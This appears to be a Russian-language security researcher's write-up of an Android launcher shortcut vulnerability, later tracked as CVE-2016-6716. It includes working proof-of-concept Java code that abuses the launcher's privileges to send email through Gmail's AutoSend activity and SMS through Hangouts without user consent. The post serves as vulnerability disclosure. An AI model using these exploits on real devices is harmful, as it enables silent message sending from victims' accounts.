Работая с Android приложениями, я обнаружил интересную функциональность - создание ярлыков для главного экрана. Они используются для упрощения каких-либо действий, например, открытие нужного контакта одним кликом.
В приложении “Контакты” это выглядит примерно так:
Создание ярлыков появилось в Android 4.4, но почему-то довольно слабо документировано и реализовано следующим образом.
Приложение запрашивает привилегию INSTALL_SHORTCUT, которая в зависимости от лаунчера может относится к категории нормальных или опасных привилегий.
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
Далее приложение формирует Intent, с помощью которого будет запущено Activity с нужными параметрами. Пример с контактами:
Intent shortcutIntent = new Intent("android.provider.action.QUICK_CONTACT");
shortcutIntent.setDataAndType(Uri.parse("content://com.android.contacts/contacts/80"), "vnd.android.cursor.item/contact");
После чего отсылает этот Intent приложению, отвечающему за создание ярлыков (у меня на Nexus 5 это com.google.android.googlequicksearchbox
), с помощью Broadcast сообщения.
Intent intent = new Intent();
intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Shortcut Example");
intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
sendBroadcast(intent);
Когда пользователь вызывает ярлык, по сути, происходит запуск Activity с помощью переданного EXTRA_SHORTCUT_INTENT от имени приложения googlequicksearchbox
. Именно в этом и заключается проблема. Если вы интересуетесь уязвимостями в Android приложениях, то наверняка вспомните это исследование мобильных браузеров http://www.mbsd.jp/Whitepaper/IntentScheme.pdf.
В случае с браузерами, запуск произвольного Activity через intent-схему позволил вызвать неэкспортированные компоненты приложения, что привело к целому ряду интересных уязвимостей. Аналогичным образом я очень долго пытался играться со внутренностями приложения googlequicksearchbox
, но особых успехов кроме нескольких падений не добился.
Обсудив эту уязвимость с Dmitry Lukyanenko, мы получили решение практически мгновенно. Ведь в запуске произвольных Activity можно использовать не только внутренние неэкспортированные компоненты, но и вызывать другие предустановленные приложения, используя привилегии googlequicksearchbox. А описанных привилегий было довольно много, в том числе с protectionLevel signature, доступных только приложениям Google.
После анализа других приложений от Google были найдены подходящие Activity и получились следующие PoC:
Отправка произвольного письма с помощью приложения Gmail (com.google.android.gm)
<permission ... android:name="com.google.android.gm.permission.AUTO_SEND" ... android:protectionLevel="signature"/> ... <activity android:excludeFromRecents="true" android:exported="true" ... android:name="com.google.android.gm.AutoSendActivity" android:permission="com.google.android.gm.permission.AUTO_SEND" ...> <intent-filter android:label="@string/app_name"> <action android:name="com.google.android.gm.action.AUTO_SEND"/> <category android:name="android.intent.category.DEFAULT"/> <data android:mimeType="*/*"/> </intent-filter> </activity>
Пример использования:
Intent shortcutIntent = new Intent("com.google.android.gm.action.AUTO_SEND"); shortcutIntent.setClassName("com.google.android.gm", "com.google.android.gm.AutoSendActivity"); shortcutIntent.putExtra("to", "<email>"); shortcutIntent.putExtra("subject", "Shortcut Test"); shortcutIntent.putExtra("body", "Hello"); Intent intent = new Intent(); intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent); intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send email"); intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT"); sendBroadcast(intent);
Отправка произвольных SMS с помощью приложения Hangouts (com.google.android.talk)
<permission android:name="com.google.android.hangouts.START_HANGOUT" android:protectionLevel="signature"/> ... <activity android:exported="true" android:name="com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity" android:permission="com.google.android.hangouts.START_HANGOUT" ...> ... <intent-filter android:label="@string/share_intent_label"> <action android:name="android.intent.action.SENDTO"/> ... </intent-filter> </activity>
Пример использования:
Intent shortcutIntent = new Intent(); shortcutIntent.setClassName("com.google.android.talk", "com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity"); shortcutIntent.setAction("android.intent.action.SENDTO"); shortcutIntent.putExtra("android.intent.extra.TEXT", "Hello"); shortcutIntent.putExtra("account_name","<CURRENT_EMAIL_ACCOUNT>"); shortcutIntent.putExtra("participant_name","31337"); Intent intent = new Intent(); intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent); intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send sms"); intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT"); sendBroadcast(intent);
Результаты нажатия на shortcut:
CVE-2016-6716 https://source.android.com/security/bulletin/2016-11-01.html#eop-in-aosp-launcher